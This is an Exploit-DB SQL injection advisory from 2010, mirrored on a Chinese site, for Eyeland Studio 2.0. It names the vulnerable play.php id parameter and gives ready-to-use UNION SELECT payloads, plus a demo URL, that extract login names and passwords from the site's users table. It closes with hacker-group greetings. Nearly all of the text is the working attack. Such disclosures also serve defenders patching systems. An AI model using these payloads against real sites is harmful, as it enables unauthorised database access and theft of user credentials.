Eyeland Studio Inc. – SQL Injection - 体验盒子

作者： Mr.P3rfekT

日期： 2010-06-13

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/13855/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

Title: Eyeland Studio Inc. SQL Injection Vulnerability

# Version: 2.0

# Author: Mr.P3rfekT

# Software Site:http://www.eyeland.com/

# Tested on Lunix

# CVE : N/A

# Home :www.realmadridsy.com & www.v4-team.com/cc

############### Founded By Mr.P3rfekT ##############

# Helllo Allz.

# Exploit :

http://[site]/path/play.php?id={SQLi}

#Poc :

union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users

# Poc:

union select 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users

# Demo:

http:www.site.com/path/play.php?id=-25union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users

./done.

Mail : R4p@hotmail.com

Greeeeeeeeeeeeeetz : Cyb3r-DeViL , V4-team.com/cc Members Except Some Lammerz Cheaters They Know Them Self Muhahaha